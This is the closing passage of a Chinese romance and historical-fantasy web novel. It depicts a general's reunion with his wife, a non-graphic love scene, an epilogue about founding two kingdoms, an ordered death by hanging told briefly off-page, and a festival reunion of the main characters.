“你要是愿意带我们走,我们几十口子都听你的!只想找个能活命的地方,种点地、吃口饭,再别看人打死、看人流血了……”
话音落下,越来越多的人聚拢而来,有老人、有妇孺,满目凄苦,却眼神坚决。
“我们走不远,也走得慢,但我们愿意跟你走。”
“你带我们去哪儿,我们就去哪儿。”
姬阳望着这一张张风霜刻过的面孔,神色一时复杂。
他们过得太苦了。
他缓缓点头,“我……与凉州刺史大人,有点交情。”
“他是个重情重义之人,我想,他一定愿意接纳你们。”
听到凉州刺史,不少人低声议论,说他曾开仓放粮、赈济百姓,风声早就传到了北庭境内。
玉娘悄悄拉住姬阳的衣袖,小声问:“你……你真认识那个刺史大人?”
姬阳看着她,唇角动了动,像是也不确定,最终却只是轻轻点头:“不骗你们。”
话音落定。
人群像是抓住了最后一根救命稻草,纷纷点头:“我们处理完这些杂碎就跟着这个小兄弟走吧。”
紫川三月,正是春花烂漫的时节。
自楼弃离开后,姜辞几乎每日清晨都会登上城楼,远眺官道尽头。
她总是站着,不语不动,目光落在天边,仿佛在等一个人踏破风尘而来。日出到日落,直到暮色沉沉,晚娘来找她,她才肯缓缓离开。
这日清晨,她照旧披着一袭月白斗篷,登上了城楼。
春风拂面,城外旷野的山脚已经染上一层嫩绿,紫川的桃花也开得极好,远远望去,似霞似雪。她目光悠远,轻声道:“转眼都三月了。”
“是啊,”晚娘站在她身后应着,语气也轻,“姑娘也是去年这个时候嫁到丰都的。”
这话像是戳到了姜辞的伤心事,她垂下了头。
晚娘见状转移话题笑着接道:“如今银霜姑娘也不得了啦,整日带着凉州军训练得紧,别提她多高兴了,那甲衣一穿,威风极了,人人都敬她。”
姜辞听着,不自觉勾了勾唇角,眼底却依旧淡淡的:“我也替她高兴。”
晚娘从袖中取出一封信:“姑娘,燕王前日托人送来一封信,您要看看吗?”
姜辞伸出手,指尖刚触到信角,忽然神色一顿,仿佛被什么牵住了魂。
她的眼神越过晚娘肩头,望向官道远方。
只见道上尘土微扬,一行人正缓缓而来。那是一群衣衫略显破旧的百姓,有老有少,步伐沉重。为首几人中,一个熟悉的身影赫然映入眼帘。
他身着青灰长袍,发束在后,虽瘦了些,却依旧挺拔如松。他只是安静走着,目光温和,神情平静,但那张脸……
姜辞一瞬间仿佛连呼吸都停了。
她将手里的信一下推开,声音颤着:“晚娘……你看那边,是谁。”
晚娘还没反应过来,顺着她所指方向看去,脸色顿时变了,几乎脱口而出:“那是……都督?!”
姜辞喃喃地,像是在梦里低语:“我不是在做梦吧,晚娘,我没有做梦吧。”
晚娘也激动得声音发颤:“姑娘,这不是梦……真的是都督!真的是他!”
她们站在城楼上,一个手中还攥着未拆的书信,一个泪光已涌上眼底。
而那人,正一步步地朝着紫川城来。
姜辞忽然转身,飞奔而下。
斗篷被风掀起,鬓发被汗湿,她脚步急促,几乎是跌跌撞撞地往那条官道奔去。
晚娘在她身后喊她,她却全然听不见。
城门敞开,她冲出去,这一刻她眼中只有那一个人。
而前方的姬阳,也终于抬头看见了她。
那一刻,他脚步一顿,像是魂被一口气牵住了。他目光一寸寸掠过她奔跑而来的身影,眸中泛起浓烈的震动与难以置信。
“姜辞……”他喃喃。
他缓缓迈出一步,然后是第二步,第三步……直到他再也控制不住脚下,竟也奔跑起来。
跟在他身旁的村民都怔住了。
“他……怎么跑了?”
“那是谁?”
“那女子好像……从画里走出来的一样。”
玉娘一脸惊愕,轻声喃喃:“那女子,好像仙子啊。”
两道身影在众人瞩目中,穿过风与尘,穿过思念与等待,终于,在春日温热的阳光下,于众人眼前停住了脚步。
隔着几步之遥,姜辞看着他,眼泪早已模糊了视线。
她缓缓唤他的名字,像是把这一路走来的思念与痛楚全都注进了这一声中:“姬阳——!”
这一声穿透风声,穿透岁月,也穿透了姬阳的心。
他几乎是一步冲上前,一把将她抱进怀里,紧紧箍住。
那一刻,他的世界安静了。
姜辞埋在他肩头,止不住地颤抖,泪水浸湿了他的衣襟。
“你总算回来了……你总算…
…”她哽咽着,“我害怕极了……真的害怕极了。”
姬阳轻轻抚着她的发,声音低哑又温柔:“姜辞,我回来了。”
他说这句话时,像是在安抚她,更像是在安抚自己。
他抱得很紧,像是要将她嵌入体内,从此不再分离。
风吹过官道,吹落春日枝头第一瓣桃花。
姜辞回过神来,吩咐跟上来的将领:“城中府衙西厢空着,命人将这些百姓先行安置,饭水药物一应照看妥当,半日内不得怠慢。”
她语气温润却笃定,镇定从容,举止间竟已有几分将令风姿。
身后那些村民听得一清二楚,皆面面相觑,神情复杂。
姬阳听她一声声安排得当,眼中满是柔色。他正要开口,却忽然感觉一暖。
姜辞已缓缓抬手,轻轻抚上他的脸颊,目光盈盈,看着他眼尾那道淡淡的伤痕,低声道:“你瘦了。”
姬阳握住她的手,反扣于掌心,眼神温柔得几乎化开:“但我回来了。”
两人静静对视,目光中尽是千言万语,谁也舍不得移开半分。
而这时,身后响起窸窸窣窣的动静。
许九哥拉着玉娘走上来,竟扑通一声跪下,声音一如他性子里的直爽憨厚:“小的有眼无珠,竟不知小兄弟便是东阳大都督,还请恕罪。”
玉娘也跟着跪下:“谢谢都督救我们村子于水火。”
姬阳连忙上前将二人扶起,眉目郑重道:“二位莫要如此。我如今能活着站在这儿,全是仰仗你们救命之恩。”
他声音平稳有力,眼底却带着几分难掩的感激与动容:“若没有你们收留、照顾,我恐怕早已埋骨他乡。”
许九哥和玉娘彼此对视,心中也说不出是震动是感慨,只一连连点头。
姜辞走上前,也朝二人轻轻拱手:“今日得见夫君平安归来,我姜辞也该谢二位护他这段时日。”
玉娘看着她,那一身素衣,那一双秋水眸,还有那落在姬阳肩头的视线,目光里满是打心眼的欣赏。她忍不住轻声感叹:“配得上都督的女子,果真倾城之姿……真好。”
姬阳笑着回头,将姜辞搂进怀中,一手揽着她肩头,一手拍了拍许九哥的臂膀:“我这夫人,比我厉害多了,美貌,恐怕是她最不值一提的优点了。”
他低头看着怀中人,眼中是毫不掩饰的骄傲与柔情:“要说匹配,怕是我反倒配不上她才是。”
姜辞侧头看了他一眼,面颊微红,却也没有挣开。
玉娘看得直摇头,小声啧啧:“真是仙眷啊……”
许九哥则憨笑着摸了摸鼻子:“你看看人家这感情,再看看你我这……唉。”
众人皆笑,沉重压抑多日的气息,总算在这春光里,散开了几分。
刺史府内灯火静谧,檐下风铃轻响,夜色也格外的柔和。
热水早已备好,姜辞亲自为姬阳打了汤盆,将他的外袍一件件解下,动作极轻。可当她看到他背上那几道狰狞的伤痕时,指尖忽然一顿,心口像是被什么狠狠拧了一下。
“这些……都是那时候留下的?”她声音发颤。
姬阳低头,不欲多提,只道:“都是过去的事了。”
姜辞却终究没忍住,伸出手,轻轻触碰他肩胛处一道斜斜的旧伤。
“疼吗?”她低声问。
姬阳转过头看她,眸中映着她眼底的水光,摇了摇头:“不疼。”他声音很轻。
沐浴完,他只着一袭素白中衣走出。烛火未灭,屋中笼着温热香气。姜辞已换上了柔色薄衫,静静坐在床榻边,眉目安宁。
见他出来,她回头一看,唇角弯了弯。
姬阳站在门边,有些局促地开口:“我……今晚住哪儿?”
姜辞没说话,只是起身,缓步走到他面前。她仰头看他,轻轻抬手,双臂绕过他颈侧,指尖缓缓交扣在他颈后。
那一双眼眸好似含着雾气,她轻启朱唇,轻声唤道:“夫君。”
她的声音像夜风一般轻柔,落在他耳畔,却将他整颗心都撩得颤了颤。
“你想去哪儿?”她问。
姬阳呼吸一滞,片刻后却低低笑了。
他将她一把抱起,低头贴近她的耳旁,声音带着哑:“哪儿也不去。”
他将她轻轻放倒在榻上,低头望着她,目光沉得仿佛能将人吞没。
指腹缓缓滑过她鬓边的碎发,动作小心得仿佛在触碰最珍贵的宝物。
“姜辞……”他低声唤她名字,尾音落在她耳畔,如羽拂心。
姜辞抬眸望他,唇瓣轻动,却还未说出什么,姬阳已俯身,吻住了她。
那是极轻极轻的一个吻,像是试探,又像是虔敬,她也温柔地回吻了他,唇齿相依之间,气息越发交缠,四周仿佛只剩下彼此的呼吸与心跳。
她的手抚上他的脖颈,像攀住唯一的依靠,他低头,额头抵着她的,轻轻一笑,喃喃道:“我回来了。”
衣衫在指尖一寸寸滑落,落在榻边。
窗外夜风微扬,帷幔轻轻鼓起,床帐内纱影浮动,仿佛春水微漾。
姜辞的眼眸迷离,唇间轻轻溢出一声颤音。姬阳喉头微动,眼神更暗,手指缓慢而笃定地落在她腰间,将她一寸寸拥得更紧。
他的动作不急不缓,眼神灼人,却极尽温柔,她轻轻抓着他的手臂
几息之后,他终于将她紧紧拥入怀中,姜辞的手指在姬阳的胸膛上画着圈圈,忽然仰头看向姬阳那深邃的眸子,低声喃喃道:
“要不……再来一次?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
【全文完结】
第85章
数月后。
姬阳与楼弃二人,于紫川东南柳堤之上,再度会面。
彼时朝日初升,水面金光潋滟,天地万籁俱静。昔日并肩赴死的两位将帅,今日已是各据一方的王者。
二人于堤畔对坐,案几之间铺着一幅新绘山河图,江山壮阔,势分两极。
姬阳率先开口:“东阳已稳,西凉归顺,北庭既已败你,势将重整,天下割据之局,是时候落定。”
楼弃点头,目光掠过图卷:“你我皆非好名之人,但世人需名以安心。既如此,不如顺势而为。”
于是,二人于此立下新盟约:
姬阳国号禹国,定都紫川,治东阳、旧西凉之地,承旧制而革其弊,以军礼整政纲,以民意安社稷。
楼弃国号燕国,仍都幽州,主瀚北、北庭之地,归正乱军,重开商道,以兵护民,以信立国。
两国互不称臣,各自为王,互不侵犯。
盟约写就,笔落惊风。楼弃落款时笑道:“世人言你冷面不通情,我看是冷中藏热。”
姬阳未答,只抬眼望向紫川方向,唇边却浮起一抹从未有过的温色。
不久之后,东阳正式迁都紫川。
这是姜辞的心愿。她说过:“那是我长大的地方,是你我的起点。”
姬阳知她心思,于是下令自丰都迁治,于紫川建新宫,立新政,仍尊旧制,却不复旧名,重整朝纲,广纳寒门,罢征戍,抚百姓,整顿五府六部,天下为之侧目。
姜辞,居王后位,陆临川位居宰相。
没多久之后,姬阳还亲自拟旨,册封侄子姬云梵为东阳侯,世袭罔替,可不问朝局。
另一边,谢府后院屋中,楚窈正轻声哄着两个襁褓中的婴儿,双胞胎一个哭闹,一个安静,软
乎乎的模样,与她有几分相似。
她将小儿轻轻放入摇篮,低头轻吻他们额头,目光温柔又怅然。指尖滑过孩子细软的发,她轻声呢喃:“真可爱。”
门外忽然传来一阵细碎脚步声。
宫里的小黄门快步进屋,呈上一物。
白绫,洁白无瑕,在烛火下泛着冰冷的光。
楚窈看了一眼白绫,又看向摇篮里两个孩子。她没有说话,只轻轻抬起头,似是笑了一下。
那笑容带着一种从容的决绝。
“我知道了。”
宫人一言未发,行礼后退下,将门掩上,任屋内死寂一片。
……
不多时,谢夫人与谢老爷匆匆赶来,听说宫里有人到访,还未及开口询问,就被扑面而来的异样寒意堵住了嗓子。
“窈儿?”谢夫人急切喊道,推门而入。
屋内灯火摇曳,两个孩子在摇篮里咿呀作声,安然无恙。唯独床前立着一张椅。
楚窈悬在椅后横梁之上,眼帘紧闭,唇角尚残留一丝温柔弧度。
谢老爷和谢夫人怔立原地,身形剧震,久久未能回神。
没有诏书,没有罪名。
只说一句:奉命赐死。
也无丧礼,不许立碑,不许归葬谢氏祖地。
留下一对尚未懂世事的孩童,由谢家抚养,是姬阳最终的仁慈。
傍晚,银霜难得换下戎装,一身素黑劲衣,长发高束,腰间佩剑未解,却少了几分肃杀,多了些英姿勃发的洒脱。
今日是她的休沐日,街上人声鼎沸,孩童追逐叫卖,一派热闹。
银霜行至半途,忽听人唤她:“银将军。”
她一顿,转头望去。
街对面,陆临川正拢袖而立,眉目温润如旧。
他朝她走来,语气平和又亲近:“望月楼新出了壶梨花白,不知银将军可有空赏一杯?”
银霜本欲推辞,却对上他眼底那一点点真诚与笑意。她沉默片刻,终是点了点头。
……
望月楼二楼靠窗处,两人对坐而饮。
窗外街市熙攘,帘下酒香微漾。
小二上了梨花白,银霜亲自倒了一杯,轻轻推向他:“陆相客气了,我不惯应酬,你我今日,便不说虚礼。”
陆临川接过酒杯,眼角微弯:“那便以真心待之。”
二人举杯,酒过喉头,皆觉微醺。
对坐之中,言语虽淡,却字字藏意。二人眼神时有交汇,又迅速避开。
银霜轻声道:“如今战乱既平,我本将军之职,更当率军守疆,护这天下太平,不负身上铠甲,更不负王后所托。”
陆临川看着她,语气沉静却坚定:“新朝更始,百废待兴。我虽无戎马沙场之能,却愿执笔定策,革陈图新。朝纲清明,国泰民安,是我毕生所愿。”
两人再度举杯。
“那就祝我们,”银霜眼里闪着光,“都能成就自己所愿。”
“各得其志,无愧此生。”陆临川接了下句,眸中柔意难掩。
酒尽,帘落,风起。
二人并肩走出望月楼,立于石阶前,街灯初点,行人稀疏。
银霜看向陆临川,眼神清亮却不回避:“多谢今日之邀。”
陆临川亦望着她,什么都没说,他知道有些话,不用说的太明白。
二人转身分别。
三年后,紫川新宫终于彻底建成,廊宇宫殿巍峨恢宏。
那一日,姜辞与姬阳一同搬入新宫,二人仍旧共住一处。侍从们来来往往,陈设细细安置,屋内香气浮动,皆是她喜欢的香料。
姜辞走到殿前阶下,望着这座巍然宫阙,忽而轻声说道:“这宫里这么大……以后我若想见你,要走好长的路。”
她语气不重,却藏着一点揶揄和轻叹。
姬阳走到她身后,伸手将她轻轻搂住,头枕在她肩窝,笑声低低:“你若想见我,告诉我,我来见你。”
姜辞微微偏头,眼角勾着浅笑,忽地转过身来仰头看他:“那现在呢?我们去骑马好不好?”
姬阳一愣,随即应得爽快:“好。”
两人换了便装出宫,宫门大开之时,紫川百姓抬眼望去,只见他们并肩而行,身后天光如幕,马蹄轻响。
他们一路牵马走过熟悉的道路,行至紫川城东,一片青翠草场开阔如野。远处山色葱茏,春风拂草而过,带起阵阵清香。
两人一同跃马而上,姜辞策马先行,轻快地穿行在微风之中。她回头,瞧见姬阳在她身后,笑着朝他喊道:“子溯,你看我的骑术是不是已经比你好了?”
姬阳扬声应道:“那就试试!”
话音未落,他一夹马腹,速度骤然加快,很快便追了上来。姜辞也不甘示弱,双腿夹紧马肚,发丝飞扬,整个人像一道光影掠过草野。
两匹马你追我赶,宛如风中穿梭的鸢鸟。
直到夕阳西沉,金光洒满天际,两人方才放慢了马速,在一棵高大的老树下停住。微风吹来,树叶沙沙作响。
他们一同从马背上跃下,靠坐在树下的阴影里,轻轻喘着气。
姜辞将额前汗湿的碎发撩到耳后,脸颊泛着淡粉。姬阳侧过身来,安静地望着她。她察觉他的注视,也回过头来。
四目相对,皆是笑意。
姬阳抬手,轻轻覆上她的脸颊,而后缓缓俯下身,吻上她的唇。
那是一个极轻极柔的吻,如风拂水面。
姜辞抬手环上他的脖颈,将他搂得更近。
姬阳贴在她耳畔,嗓音温柔低哑,仿佛带着满腹情意沉沉落下:
“姜辞,你不知道……我有多爱你。”
此时幽州王宫,登基为王之后的第三年,楼弃依旧孤身一人。
自从即位那日起,他就回绝了所有关于立后纳妃的奏章。哪怕是再三进谏,他也只是冷淡地说一句:“孤不喜旁人管束。”
他苦笑一下,不禁想起三年前那个紫川灯火辉映的上元节,他与姜辞并肩放灯。他曾调侃她,说她这般气度,将来做女君也无不可。
她却笑着回他:“我做不来。日日点卯,批折子、与老臣周旋,事无巨细,哪一桩不操心?我才不想做这劳心劳力的事。”
他那时只当她说笑。
可如今,坐上这王座的他,才终于明白了她话中的几分真意。
他太久没有睡过一个好觉了。案前是永远批不完的折子,新政旧制交替,边疆未稳,朝内又党争频发。
每一个决策,他都得独自扛下。
这一刻,他忽然很嫉妒姬阳。
万事俱休时,至少还有她在身边,可以帮他出谋划策。
他猛地起身,将还未看完的奏章拍在案上,沉声吼道:“都出去。”
殿中众臣怔住,不敢多言,战战兢兢地鱼贯而出,片刻后大殿只剩他一人。
他仰头靠在椅背,望着头顶那盏金龙灯,闭了闭眼。
再睁眼时,眼中尽是倦意与空茫。
正在这时,殿门吱呀一声被推开。
是他的弟弟,楼宿。
少年身着素青常服,步伐稳重,神色温和。他见兄长如此模样,微微皱眉:“王兄,臣子都说您近日劳心太重,夜里还……”
楼弃忽然认真地打量起眼前这个弟弟。
他自幼读书,性子温厚,遇事果决,虽然武艺不出众,但颇有心计,最重要的是,他身上,有姜辞曾说的那种东西,一颗爱民如子的心。
“楼宿,上来。”他淡淡开口。
楼宿听令走近,只见楼弃铺开纸案,提笔研墨,落笔如风。
片刻后,他将那张写好的圣旨拍在楼宿面前,笔往身后一甩:“给你了。”
楼宿一惊,展开一看,竟是将王位传与己身的诏令。他几乎不敢相信:“王兄?”
楼弃从椅上起身,抖了抖袍袖:“归你了。我守了这王位三年,也算尽了力。”
“你有才干,有心肠,也有百姓所需的安稳与清明。”
“你来做这王,远比我强。”
楼宿急忙拦住他:“那王兄要去哪儿?”
楼弃转头一笑,月光洒在他肩头,那一刻
他眼中的疲惫竟消散了几分,取而代之的是久违的轻松。
“去看看这大好河山。”他淡淡道。
“人间。”
说完,他迈步出了宫门,背影高大,却再无君王的沉重。只余一人,踏风而行。
又是一年上元节,紫川街头张灯结彩,处处流光溢彩,人声鼎沸,笑语连连。
姜辞换了一袭浅色常服,外头披着一件淡紫的薄斗篷,眉眼清润,鬓边别着一支小小的梅花簪。她站在人群中,望着那满街花灯,唇边带笑。
姬阳站在她身侧,牵着她的手,另一只手里提着一盏兔灯。
他低头看她,眼底尽是温柔宠溺:“慢点走,别挤着了。”
姜辞侧头看他,笑盈盈地:“你才走的太快。”
他便立刻放慢脚步,牵着她穿行在人群间,与寻常夫妻无异,逛市、观灯,谈笑风生。
正当他们在一处彩楼下驻足看灯谜时,身后忽然有人伸手拍了拍姬阳的肩膀,声音懒洋洋地响起:
“啧,身为王的人,这样牵着王后在人堆里溜达,不怕百姓认出来啊?”
姬阳一怔,猛地回头。
姜辞也回头,两人几乎异口同声:“楼弃?!”
那人一身青衫,腰间别着酒葫芦,长发随意束着,眉眼之间依旧潇洒风流,只是比从前更添几分沉静。他嘴角噙着笑,站在热闹灯火间,仿佛与这一夜的人间烟火格外契合。
“你不是……”姬阳还没来得及问出口。
楼弃便朝他们扬了扬酒壶,笑得随意自在:“我可是来找你们过节的。顺便啊,讨一口望月楼的好酒。”
他说着,晃了晃手中那只空了半壶的葫芦:“我记得那里的桂花酿,味道不错,可好?”
全文完。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m